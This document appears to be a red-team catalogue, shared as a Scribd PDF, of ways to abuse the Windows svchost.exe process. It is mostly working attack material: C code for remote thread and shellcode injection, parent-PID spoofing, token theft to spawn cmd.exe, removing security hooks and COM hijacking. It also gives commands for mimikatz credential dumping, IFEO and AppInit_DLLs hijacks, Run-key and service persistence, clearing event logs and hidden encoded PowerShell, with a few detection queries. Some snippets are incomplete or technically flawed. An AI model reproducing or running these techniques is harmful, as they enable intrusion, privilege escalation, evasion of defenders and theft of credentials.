100% found this document useful (1 vote)
142 views35 pages

Abuse SVCHost Methods

Svchost.exe is a Windows process that hosts multiple services from DLL files. This allows for efficient use of memory and modularity of services. However, it also presents an attractive attack target due to its elevated privileges and ability to blend in with legitimate activity. The document discusses various techniques attackers use to abuse svchost.exe, such as DLL injection, process impersonation, and memory manipulation. It provides code examples for thread hijacking and spoofing the parent process ID.

Uploaded by

Asad Ahmed
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
142 views35 pages

Abuse SVCHost Methods

Svchost.exe is a Windows process that hosts multiple services from DLL files. This allows for efficient use of memory and modularity of services. However, it also presents an attractive attack target due to its elevated privileges and ability to blend in with legitimate activity. The document discusses various techniques attackers use to abuse svchost.exe, such as DLL injection, process impersonation, and memory manipulation. It provides code examples for thread hijacking and spoofing the parent process ID.

Uploaded by

Asad Ahmed
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 35

svchost.

exe
Abuse Methods

HADESS WWW.HADESS.IO
RedTeamRecipe
Red Team Recipe for Fun & Profit.
Follow

Abuse SVCHost Methods(RTC0017)


svchost.exe, which stands for “Service Host”, is an integral part of the Windows

operating system. It’s a generic host process name for services that run from
dynamic-link libraries (DLLs). Instead of having a unique executable for each
service, Windows uses svchost.exe to host multiple services in a single process.

Why does Windows use svchost.exe?


1. Memory Efficiency: Running multiple services within a single process can
save memory because each individual service doesn’t need its own process
overhead.

2. Modularity: By separating services into DLLs, developers can easily write and
update individual services without affecting others.

3. Security and Isolation: Services can be grouped by their isolation and security
requirements. For instance, services that require similar security contexts
can be grouped into a single svchost.exe instance.

Attack Surface
Given its critical role and the fact that it often runs with elevated privileges,
svchost.exe is an attractive target for attackers. Here are some reasons why:

1. Blending in with Legitimate Activity: Since svchost.exe is a legitimate


Windows process, malicious activities associated with it can easily blend in,
making detection more challenging.

2. Elevated Privileges: Many services within svchost.exe run with high or


system-level privileges. If an attacker can inject malicious code into
svchost.exe, they can potentially gain elevated privileges on the system.

3. Hosting Multiple Services: If an attacker can compromise one service within


svchost.exe, they might be able to influence or attack other services within

the same process.


Common Attack Vectors
1. DLL Injection: Since svchost.exe hosts services from DLLs, attackers often
target it for DLL injection attacks, where a malicious DLL is loaded into its
process space.

2. Impersonation: Attackers can impersonate svchost.exe to hide malicious


processes or activities.

3. Memory Manipulation: Techniques like process hollowing can be used to


replace the legitimate code of svchost.exe with malicious code.

4. Service Configuration Manipulation: Attackers can modify service


configurations to force svchost.exe to load a malicious DLL or execute
malicious commands.
Important Function to Abuse Svchost

Function
Category Description
Name
Memory VirtualAlloc Allocates memory in the virtual address space of

Manipulation Ex another process.


WriteProcess Writes data to an area of memory in a specified

Memory process.
ReadProcessM Reads data from an area of memory in a specified

emory process.
CreateProces
Process Control Creates a new process and its primary thread.
s
Function
Category Description
Name
OpenProcess Opens an existing local process object.

TerminatePro
Ends a process and all its threads.
cess

CreateRemote Creates a thread that runs in the virtual address


Thread Control
Thread space of another process.
SuspendThrea
Suspends the specified thread.
d

Decreases the suspend count of the specified


ResumeThread
thread.
Maps the specified executable module into the
DLL Handling LoadLibrary
address space of the calling process.
GetProcAddre Retrieves the address of an exported function or

ss variable from the specified dynamic-link library.


Retrieves a handle to the top-level window whose
Window
FindWindow class name and window name match the specified
Management
strings.
Sends the specified message to a window or
SendMessage
windows.
Registry
RegOpenKeyEx Opens the specified registry key.
Manipulation
RegSetValueE Sets the data and type of a specified value under a

x registry key.
RegDeleteVal Removes a named value from the specified

ue registry key.
File Operations CreateFile Creates or opens a file or I/O device.
Reads data from the specified file or input/output
ReadFile
(I/O) device.
Writes data to the specified file or input/output
WriteFile
(I/O) device.

DLL Injection
Injecting a malicious DLL into svchost
1 injector.exe -p svchost.exe -d malicious.dll

https://github.com/monoxgas/sRDI

Unauthorized Network Connection


findstr svchost

1 netstat -anob
Process Impersonation
Mimikatz impersonation of svchost

1 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

Memory Dump
Dumping svchost memory
1 procdump.exe -ma svchost.exe dumpfile.dmp

Unauthorized File Creation


Copying malicious file as svchost

1 copy malicious.exe C:\Windows\System32\svchost.exe


Process Hollowing
Hollowing svchost to run malicious code

1 hollow.exe svchost.exe malicious.exe

https://github.com/boku7/HOLLOW

Process Doppelganging
Using doppelganging technique on svchost
1 doppel.exe svchost.exe malicious.bin

https://github.com/Spajed/processrefund

Reflective DLL Injection


Injecting DLL into svchost without touching disk
1 reflective_injector.exe svchost.exe malicious.dll

https://github.com/stephenfewer/ReflectiveDLLInjection

Thread Execution Hijacking


Hijacking svchost thread execution
Share
  

1 hijack.exe svchost.exe

Thread Execution Hijacking is a technique where an attacker suspends a thread


within a process and modifies its instruction pointer (typically the EIP register on
x86 architectures) to point to malicious code. Once the thread is resumed, it will
execute the malicious code.
1 #include <windows.h>
2 #include <stdio.h>
3
4 // Simple payload that shows a message box
5 void payload() {
6 MessageBox(NULL, "Thread hijacked!", "Payload", MB_OK);
7 ExitThread(0); // Exit the thread after executing the payload
8 }
9
10 int main() {
11 DWORD processId = 0;
12 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
13 PROCESSENTRY32 pe;
14 pe.dwSize = sizeof(PROCESSENTRY32);
15
16 // Find the process ID of notepad.exe
17 if (Process32First(hSnapshot, &pe)) {
18 do {
19 if (strcmp(pe.szExeFile, "notepad.exe") == 0) {
20 processId = pe.th32ProcessID;
21 break;
22 }
23 } while (Process32Next(hSnapshot, &pe));
24 }
25 CloseHandle(hSnapshot);
26
27 if (processId == 0) {
28 printf("notepad.exe not found.\n");
29 return 1;
30 }
31
32 // Open the target process
33 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
34 if (!hProcess) {
35 printf("Failed to open target process.\n");
36 return 1;
37 }
38
39 // Allocate memory in the target process for our payload
40 LPVOID pRemoteCode = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT,
41 PAGE_EXECUTE_READWRITE);
42 if (!pRemoteCode) {
43 printf("Memory allocation failed.\n");
44 CloseHandle(hProcess);
45 return 1;
46 }
47
48 // Write our payload to the target process
49 WriteProcessMemory(hProcess, pRemoteCode, payload, 1024, NULL);
50
51 // Create a thread in the target process to execute our payload
52 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
53 (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
54 if (!hThread) {
55 printf("Thread creation failed.\n");
56 VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
57 CloseHandle(hProcess);
58 return 1;
59 }
60
61 // Wait for the remote thread to finish
62 WaitForSingleObject(hThread, INFINITE);
63
64 // Cleanup
65 VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
66 CloseHandle(hThread);
67 CloseHandle(hProcess);
68
return 0;
}

Parent PID Spoofing


Spoofing parent process ID for svchost

1 ppid_spoof.exe svchost.exe

Parent Process ID (PPID) spoofing is a technique where an attacker launches a


process with a different parent process than the one that actually spawned it. This
can be used to bypass security checks, as some security solutions might trust child
processes of specific trusted parent processes.

One way to achieve PPID spoofing is by using the CreateProcess function with the
STARTUPINFOEX structure and PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute.

Here’s an educational example in C that demonstrates this concept:


#include <windows.h>
#include <stdio.h>

int main() {
1
DWORD targetPID; // The PID of the process you want to spoof as the
2
parent
3
printf("Enter the target PID to spoof as parent: ");
4
scanf("%d", &targetPID);
5
6
HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
7
targetPID);
8
if (!hTargetProcess) {
9
printf("Failed to open target process.\n");
10
return 1;
11
}
12
13
SIZE_T size;
14
STARTUPINFOEX siex = { sizeof(siex) };
15
PROCESS_INFORMATION pi;
16
17
// Set up the attribute list for the parent process spoofing
18
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
19
siex.lpAttributeList =
20
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
21
InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &size);
22
23
// Set the parent process to the target process
24
UpdateProcThreadAttribute(siex.lpAttributeList, 0,
25
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hTargetProcess, sizeof(HANDLE), NULL,
26
NULL);
27
28
// Create the child process (e.g., svchost.exe)
29
if (!CreateProcess("C:\\Windows\\System32\\svchost.exe", NULL, NULL,
30
NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFO)&siex,
31
&pi)) {
32
printf("Failed to create child process.\n");
33
HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);
34
CloseHandle(hTargetProcess);
35
return 1;
36
}
37
38
// Cleanup
39
CloseHandle(pi.hProcess);
40
CloseHandle(pi.hThread);
41
HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);
42
CloseHandle(hTargetProcess);
43

return 0;
}
=

Token Manipulation
Manipulating svchost process tokens

1 token_manip.exe svchost.exe

Token manipulation is a technique where an attacker duplicates a token from a


high-privileged process and then uses that token to launch a new process with
elevated privileges. This is often used in privilege escalation attacks.
#include <windows.h>
#include <stdio.h>

1
int main() {
2
HANDLE hToken, hNewToken, hProcess;
3
DWORD processID;
4
5
// Assuming you've already obtained the PID of svchost.exe or any high-
6
privileged process
7
printf("Enter the PID of the high-privileged process (e.g.,
8
svchost.exe): ");
9
scanf("%d", &processID);
10
11
// Open the target process
12
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, processID);
13
if (!hProcess) {
14
printf("Failed to open target process.\n");
15
return 1;
16
}
17
18
// Get the process token
19
if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) {
20
printf("Failed to obtain process token.\n");
21
CloseHandle(hProcess);
22
return 1;
23
}
24
25
// Duplicate the token
26
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
27
SecurityImpersonation, TokenPrimary, &hNewToken)) {
28
printf("Failed to duplicate token.\n");
29
CloseHandle(hToken);
30
CloseHandle(hProcess);
31
return 1;
32
}
33
34
// Use the duplicated token to run a new process with elevated
35
privileges
36
STARTUPINFO si = { sizeof(STARTUPINFO) };
37
PROCESS_INFORMATION pi;
38
if (!CreateProcessWithTokenW(hNewToken, 0,
39
L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) {
40
printf("Failed to create process with elevated token.\n");
41
CloseHandle(hNewToken);
42
CloseHandle(hToken);
43
CloseHandle(hProcess);
44
return 1;
45
}
46
47
// Cleanup
48
CloseHandle(pi.hProcess);
49
CloseHandle(pi.hThread);
50
CloseHandle(hNewToken);
51
CloseHandle(hToken);
52
CloseHandle(hProcess);
53

return 0;
}

Unhooking
Unhooking svchost from security modules
1 unhook.exe svchost.exe

Unhooking refers to the process of restoring the original bytes of a function that
has been hooked (i.e., its behavior has been altered, often by security software or
malware). By unhooking a function, you can bypass monitoring or other security
mechanisms that rely on these hooks.

#include <windows.h>
#include <stdio.h>
1
2 // This is a simple representation of the first few bytes of the MessageBoxW
3 function
4 // in its original state. This might vary based on the Windows version and
5 updates.
6 unsigned char originalBytes[] = { 0x8B, 0xFF, 0x55, 0x8B, 0xEC };
7
8 int main() {
9 HMODULE hUser32 = GetModuleHandleA("user32.dll");
10 if (!hUser32) {
11 printf("Failed to get handle to user32.dll.\n");
12 return 1;
13 }
14
15 // Get the address of MessageBoxW
16 FARPROC pMessageBoxW = GetProcAddress(hUser32, "MessageBoxW");
17 if (!pMessageBoxW) {
18 printf("Failed to get address of MessageBoxW.\n");
19 return 1;
20 }
21
22 // Change memory protection to allow writing
23 DWORD oldProtect;
24 if (!VirtualProtect(pMessageBoxW, sizeof(originalBytes),
25 PAGE_EXECUTE_READWRITE, &oldProtect)) {
26 printf("Failed to change memory protection.\n");
27 return 1;
28 }
29
30 // Overwrite the beginning of MessageBoxW with the original bytes
31 memcpy(pMessageBoxW, originalBytes, sizeof(originalBytes));
32
33 // Restore the original memory protection
34 VirtualProtect(pMessageBoxW, sizeof(originalBytes), oldProtect,
35 &oldProtect);
36
37 printf("Unhooked MessageBoxW successfully.\n");
38
39 // Test the unhooked function
40 MessageBoxW(NULL, L"Unhooked MessageBox", L"Test", MB_OK);
41
return 0;
}

Code Injection
code_inject.exe svchost.exe

1 Injecting malicious code into svchost


Code injection is a technique where an attacker injects malicious code into a
running process. This can be done for various purposes, such as executing
arbitrary code with the privileges of the target process, evading detection, or
bypassing security mechanisms.
#include <windows.h>
#include <stdio.h>
1
2
int main() {
3
DWORD processID;
4
HANDLE hProcess;
5
LPVOID remoteBuffer;
6
char code[] = {
7
// ... Your shellcode goes here ...
8
};
9
10
// Assuming you've already obtained the PID of svchost.exe
11
printf("Enter the PID of svchost.exe: ");
12
scanf("%d", &processID);
13
14
// Open the target process
15
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
16
if (!hProcess) {
17
printf("Failed to open target process.\n");
18
return 1;
19
}
20
21
// Allocate memory in the target process
22
remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(code), MEM_COMMIT,
23
PAGE_EXECUTE_READWRITE);
24
if (!remoteBuffer) {
25
printf("Failed to allocate memory in target process.\n");
26
CloseHandle(hProcess);
27
return 1;
28
}
29
30
// Write the code into the target process
31
if (!WriteProcessMemory(hProcess, remoteBuffer, code, sizeof(code),
32
NULL)) {
33
printf("Failed to write to target process memory.\n");
34
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
35
CloseHandle(hProcess);
36
return 1;
37
}
38
39
// Create a remote thread to execute the code
40
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
41
(LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
42
if (!hThread) {
43
printf("Failed to create remote thread in target process.\n");
44
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
45
CloseHandle(hProcess);
46
return 1;
47
}
48
49
// Wait for the remote thread to finish
50
WaitForSingleObject(hThread, INFINITE);
51
52
// Cleanup
53
CloseHandle(hThread);
54
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
55
CloseHandle(hProcess);
56
57
printf("Code injected successfully.\n");
58
return 0;
}
Process Reimaging
Reimaging svchost to hide malicious activities

1 reimage.exe svchost.exe

Process reimaging is a technique used to manipulate the image path or command


line of a running process in memory. This can be used to hide malicious activities
by making a malicious process appear as a legitimate one, such as svchost.exe.
1 #include <windows.h>
2 #include <stdio.h>
3 #include <winternl.h>
4
5 // Define the structure for process parameters
6 typedef struct _RTL_USER_PROCESS_PARAMETERS {
7 BYTE Reserved1[16];
8 PVOID Reserved2[10];
9 UNICODE_STRING ImagePathName;
10 UNICODE_STRING CommandLine;
11 } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
12
13 // Define the structure for process basic information
14 typedef struct _PROCESS_BASIC_INFORMATION {
15 PVOID Reserved1;
16 PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
17 BYTE Reserved2[104];
18 PVOID Reserved3[5];
19 ULONG_PTR PEBBaseAddress;
20 } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
21
22 int main() {
23 DWORD processID;
24 HANDLE hProcess;
25 PROCESS_BASIC_INFORMATION pbi;
26 ULONG returnLength;
27
28 // Function pointer for NtQueryInformationProcess
29 typedef NTSTATUS (WINAPI *pNtQueryInformationProcess)(HANDLE,
30 PROCESSINFOCLASS, PVOID, ULONG, PULONG);
31 pNtQueryInformationProcess NtQueryInformationProcess;
32
33 // Load ntdll and get the address of NtQueryInformationProcess
34 NtQueryInformationProcess =
35 (pNtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"),
36 "NtQueryInformationProcess");
37 if (!NtQueryInformationProcess) {
38 printf("Failed to get address of NtQueryInformationProcess.\n");
39 return 1;
40 }
41
42 // Assuming you've already obtained the PID of the target process
43 printf("Enter the PID of the target process: ");
44 scanf("%d", &processID);
45
46 // Open the target process
47 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
48 if (!hProcess) {
49 printf("Failed to open target process.\n");
50 return 1;
51 }
52
53 // Get the process basic information
54 NTSTATUS status = NtQueryInformationProcess(hProcess, 0, &pbi,
55 sizeof(pbi), &returnLength);
56 if (status != 0) {
57 printf("Failed to query process information.\n");
58 CloseHandle(hProcess);
59 return 1;
60 }
61
62 // Modify the ImagePathName to mimic svchost.exe
63 UNICODE_STRING fakeImagePath;
64 fakeImagePath.Buffer = L"C:\\Windows\\System32\\svchost.exe";
65 fakeImagePath.Length = wcslen(fakeImagePath.Buffer) * 2;
66 fakeImagePath.MaximumLength = (wcslen(fakeImagePath.Buffer) * 2) + 2;
67
68 if (!WriteProcessMemory(hProcess, &pbi.ProcessParameters->ImagePathName,
69 &fakeImagePath, sizeof(fakeImagePath), NULL)) {
70 printf("Failed to modify ImagePathName.\n");
71 CloseHandle(hProcess);
72 return 1;
73 }
74
75 printf("Successfully reimaged the process.\n");

// Cleanup
CloseHandle(hProcess);
return 0;
}

ATOM Bombing
Using ATOM tables to inject code into svchost

1 atom_bomb.exe svchost.exe

https://github.com/BreakingMalwareResearch/atom-bombing

ATOM Bombing is a code injection technique that leverages the global ATOM
table, a feature provided by Windows for storing strings and corresponding
identifiers. An attacker can use the ATOM table to write malicious code and then
force a legitimate process to retrieve and execute it.
1 #include <windows.h>
2 #include <stdio.h>
3
4 int main() {
5 ATOM atom;
6 DWORD processID;
7 HANDLE hProcess;
8 HANDLE hThread;
9 LPVOID remoteBuffer;
10
11 // Sample shellcode for demonstration purposes
12 char shellcode[] = {
13 // ... Your shellcode goes here ...
14 };
15
16 // Register the shellcode in the global ATOM table
17 atom = GlobalAddAtomA(shellcode);
18 if (!atom) {
19 printf("Failed to add shellcode to ATOM table.\n");
20 return 1;
21 }
22
23 // Assuming you've already obtained the PID of svchost.exe
24 printf("Enter the PID of svchost.exe: ");
25 scanf("%d", &processID);
26
27 // Open the target process
28 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
29 if (!hProcess) {
30 printf("Failed to open target process.\n");
31 return 1;
32 }
33
34 // Allocate memory in the target process
35 remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
36 MEM_COMMIT, PAGE_EXECUTE_READWRITE);
37 if (!remoteBuffer) {
38 printf("Failed to allocate memory in target process.\n");
39 CloseHandle(hProcess);
40 return 1;
41 }
42
43 // Force the target process to retrieve the shellcode from the ATOM
44 table
45 if (!SendMessageA(HWND_BROADCAST, WM_GETTEXT, sizeof(shellcode),
46 (LPARAM)remoteBuffer)) {
47 printf("Failed to send message to target process.\n");
48 VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
49 CloseHandle(hProcess);
50 return 1;
51 }
52
53 // Create a remote thread in the target process to execute the shellcode
54 hThread = CreateRemoteThread(hProcess, NULL, 0,
55 (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
56 if (!hThread) {
57 printf("Failed to create remote thread in target process.\n");
58 VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
59 CloseHandle(hProcess);
60 return 1;
61 }
62
63 // Cleanup
64 GlobalDeleteAtom(atom);
CloseHandle(hThread);
65 CloseHandle(hProcess);
66
printf("ATOM Bombing successful.\n");
return 0;
}

Window Message Hooking


Hooking window messages to control svchost

1 hookmsg.exe svchost.exe

Window Message Hooking involves intercepting and possibly modifying window


messages in the system. One common method to achieve this is by using the
SetWindowsHookEx function provided by the Windows API. This function allows you

to set a hook procedure to monitor the system for certain types of messages
before they reach the target window procedure.
#include <windows.h>
1
#include <stdio.h>
2
3
// Global variables
4
HINSTANCE hInstance;
5
HHOOK hHook;
6
7
// Hook procedure
8
LRESULT CALLBACK MessageHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
9
if (nCode >= 0) {
10
// Intercept messages here
11
MSG *msg = (MSG *)lParam;
12
if (msg->message == WM_SOME_MESSAGE) { // Replace WM_SOME_MESSAGE
13
with a real message identifier
14
// Handle or modify the message
15
printf("Intercepted a window message!\n");
16
}
17
}
18
return CallNextHookEx(hHook, nCode, wParam, lParam);
19
}
20
21
BOOL SetHook() {
22
hHook = SetWindowsHookEx(WH_GETMESSAGE, MessageHookProc, hInstance, 0);
23
return (hHook != NULL);
24
}
25
26
BOOL UnsetHook() {
27
return UnhookWindowsHookEx(hHook);
28
}
29
30
int main() {
31
hInstance = GetModuleHandle(NULL);
32
33
if (!SetHook()) {
34
printf("Failed to set hook.\n");
35
return 1;
36
}
37
38
printf("Hook set successfully. Press any key to unhook...\n");
39
getchar();
40
41
if (!UnsetHook()) {
42
printf("Failed to unset hook.\n");
43
return 1;
44
}
45
46
printf("Hook unset successfully.\n");
47
return 0;
48
}

COM Hijacking
Hijacking COM objects to control svchost

1 com_hijack.exe svchost.exe

COM (Component Object Model) Hijacking is a persistence technique where an


attacker manipulates registry entries to redirect or intercept calls to legitimate
COM objects. This can be used to execute malicious code when a specific COM
object is invoked.

#include <windows.h>
#include <stdio.h>
1
2 // CLSID of a legitimate COM object (for demonstration purposes only)
3 // You should replace this with a real CLSID
4 #define TARGET_CLSID L"{12345678-1234-1234-1234-123456789012}"
5
6 // Path to the malicious DLL that will be invoked instead of the legitimate
7 COM object
8 #define MALICIOUS_DLL_PATH L"C:\\path\\to\\malicious.dll"
9
10 BOOL SetCOMHijack() {
11 HKEY hKey;
12 LONG lResult;
13 WCHAR szKeyPath[256];
14
15 // Construct the registry key path
16 wsprintf(szKeyPath, L"Software\\Classes\\CLSID\\%s\\InprocServer32",
17 TARGET_CLSID);
18
19 // Open or create the registry key
20 lResult = RegCreateKeyEx(HKEY_CURRENT_USER, szKeyPath, 0, NULL,
21 REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
22 if (lResult != ERROR_SUCCESS) {
23 return FALSE;
24 }
25
26 // Set the default value to the path of the malicious DLL
27 lResult = RegSetValueEx(hKey, NULL, 0, REG_SZ, (const
28 BYTE*)MALICIOUS_DLL_PATH, (wcslen(MALICIOUS_DLL_PATH) + 1) * sizeof(WCHAR));
29 RegCloseKey(hKey);
30
31 return (lResult == ERROR_SUCCESS);
32 }
33
34 int main() {
35 if (SetCOMHijack()) {
36 printf("COM Hijacking set successfully.\n");
37 } else {
38 printf("Failed to set COM Hijacking.\n");
39 }
return 0;
}

Dynamic Data Exchange


Using DDE to execute commands via svchost

1 dde_attack.exe svchost.exe

Dynamic Data Exchange (DDE) is an older interprocess communication system


that allows two running applications to share the same data. DDE can be abused to
execute arbitrary commands, and it has been used in the past as a method for
command execution in Microsoft Office documents.
#include <windows.h>
#include <stdio.h>

1
int main() {
2
// DDE requires a window to be created for message handling
3
HWND hwnd = CreateWindowEx(0, "STATIC", "DDE Command Execution", 0, 0,
4
0, 0, 0, HWND_MESSAGE, NULL, NULL, NULL);
5
if (!hwnd) {
6
printf("Failed to create window for DDE.\n");
7
return 1;
8
}
9
10
// Initialize DDE
11
UINT uDDEInit = DdeInitialize(NULL, NULL, APPCLASS_STANDARD |
12
APPCMD_CLIENTONLY, 0);
13
if (uDDEInit != DMLERR_NO_ERROR) {
14
printf("Failed to initialize DDE.\n");
15
return 1;
16
}
17
18
// Connect to a DDE service (e.g., Excel)
19
HSZ hszService = DdeCreateStringHandle(uDDEInit, "Excel", CP_WINANSI);
20
HSZ hszTopic = DdeCreateStringHandle(uDDEInit, "System", CP_WINANSI);
21
HCONV hConv = DdeConnect(uDDEInit, hszService, hszTopic, NULL);
22
23
if (!hConv) {
24
printf("Failed to connect to DDE service.\n");
25
DdeUninitialize(uDDEInit);
26
return 1;
27
}
28
29
// Execute a command via DDE (for demonstration purposes, let's open
30
Calculator)
31
HSZ hszCommand = DdeCreateStringHandle(uDDEInit, "[EXEC(\"calc.exe\")]",
32
CP_WINANSI);
33
if (!DdeClientTransaction(NULL, 0, hConv, hszCommand, CF_TEXT,
34
XTYP_EXECUTE, TIMEOUT_ASYNC, NULL)) {
35
printf("Failed to execute DDE command.\n");
36
}
37
38
// Cleanup
39
DdeFreeStringHandle(uDDEInit, hszService);
40
DdeFreeStringHandle(uDDEInit, hszTopic);
41
DdeFreeStringHandle(uDDEInit, hszCommand);
42
DdeDisconnect(hConv);
43
DdeUninitialize(uDDEInit);
44
DestroyWindow(hwnd);
45

return 0;
}

PowerShell Injection
Injecting PowerShell commands via svchost

1 powershell -encodedCommand [Base64Code]

Environment Variable Override


Overriding environment variables to affect svchost behavior
1 set COMPLUS_Version=v4.0.30319 && svchost.exe

process.name: "cmd.exe" AND process.args: "set" AND process.args:


1
"COMPLUS_Version"

Image File Execution Options Injection


Manipulating IFEO to debug svchost with malicious code

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File


1
Execution Options\svchost.exe" /v Debugger /t REG_SZ /d "malicious.exe"

process.name: "reg.exe" AND process.args: "Image File Execution Options" AND


1
process.args: "svchost.exe"

WMI Event Subscription


Creating malicious WMI event subscriptions

wmic /namespace:\\root\subscription PATH __EventFilter CREATE


Name="evilFilter", EventNameSpace="root\cimv2", QueryLanguage="WQL",
1 Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"

ETW Provider Hijacking


Hijacking ETW providers to monitor svchost

1 etw_hijack.exe svchost.exe

Event Tracing for Windows (ETW) is a powerful tracing facility provided by


Windows for logging and monitoring system and application behavior. ETW
providers are components that generate events to be traced. Hijacking or abusing
ETW providers can allow an attacker to monitor specific events, potentially
gaining insights into system behavior or user actions.
#include <windows.h>
#include <evntcons.h>
1
#include <evntrace.h>
2
3
// Callback for processing events
4
void WINAPI EventRecordCallback(EVENT_RECORD* pEventRecord) {
5
if (pEventRecord->EventHeader.EventDescriptor.Id == 10 /* Process Start
6
Event ID */) {
7
// Extract process name and check if it's svchost.exe
8
// This is a simplification; in a real-world scenario, you'd need to
9
parse the event data
10
if (strstr((char*)pEventRecord->UserData, "svchost.exe")) {
11
printf("svchost.exe started!\n");
12
}
13
}
14
}
15
16
int main() {
17
TRACEHANDLE hTrace = 0;
18
EVENT_TRACE_LOGFILE traceLog = { 0 };
19
traceLog.LoggerName = KERNEL_LOGGER_NAME;
20
traceLog.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME;
21
traceLog.EventRecordCallback =
22
(PEVENT_RECORD_CALLBACK)EventRecordCallback;
23
24
hTrace = OpenTrace(&traceLog);
25
if (hTrace == INVALID_PROCESSTRACE_HANDLE) {
26
printf("Failed to open trace.\n");
27
return 1;
28
}
29
30
ULONG status = ProcessTrace(&hTrace, 1, 0, 0);
31
if (status != ERROR_SUCCESS) {
32
printf("Failed to process trace.\n");
33
CloseTrace(hTrace);
34
return 1;
35
}
36
37
CloseTrace(hTrace);
38
return 0;
}

AppInit_DLLs Injection
Injecting malicious DLLs via AppInit_DLLs registry key

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v


1
AppInit_DLLs /t REG_SZ /d "malicious.dll"

1 process.name: "reg.exe" AND process.args: "AppInit_DLLs"

Global Flags Override


Overriding global flags to debug svchost

1 gflags.exe /p /enable svchost.exe /full


#include <windows.h>
#include <stdio.h>
1
2
int main() {
3
HKEY hKey;
4
DWORD dwFlags = 0x2; // FLG_HEAP_ENABLE_TAIL_CHECK, as an example
5
6
// Open the Image File Execution Options key for svchost.exe
7
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows
8
NT\\CurrentVersion\\Image File Execution Options\\svchost.exe", 0,
9
KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) {
10
printf("Failed to open registry key.\n");
11
return 1;
12
}
13
14
// Set the global flag
15
if (RegSetValueEx(hKey, "GlobalFlag", 0, REG_DWORD, (BYTE*)&dwFlags,
16
sizeof(dwFlags)) != ERROR_SUCCESS) {
17
printf("Failed to set GlobalFlag.\n");
18
RegCloseKey(hKey);
19
return 1;
20
}
21
22
printf("GlobalFlag set successfully for svchost.exe.\n");
23
24
// Cleanup
25
RegCloseKey(hKey);
26
return 0;
}

Registry Persistence
Adding persistence via registry to run malicious svchost on startup

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v


1
"MaliciousService" /t REG_SZ /d "svchost.exe -k netsvcs -p malicious.dll"

process.name: "reg.exe" AND process.args: "CurrentVersion\Run" AND


1
process.args: "svchost.exe"

Service Hijacking
Creating a malicious service using svchost

1 sc create MaliciousService binPath= "svchost.exe -k netsvcs -p malicious.dll"

Scheduled Task Abuse


Creating a scheduled task to run malicious svchost

schtasks /create /tn "MaliciousTask" /tr "svchost.exe -k netsvcs -p


1
malicious.dll"
Event Log Tampering
Clearing event logs to hide svchost abuse

1 wevtutil cl System

Fileless Malware Execution


Executing fileless malware via PowerShell in svchost context

1 powershell.exe -nop -w hidden -encodedCommand [Base64Code]

Alternate Data Stream Execution


Executing malware from alternate data streams under svchost name

1 cmd.exe /c start svchost.exe:malicious.exe

BITS Job Abuse


Using BITS to download malware as svchost

bitsadmin /create /download /priority foreground MaliciousJob


1
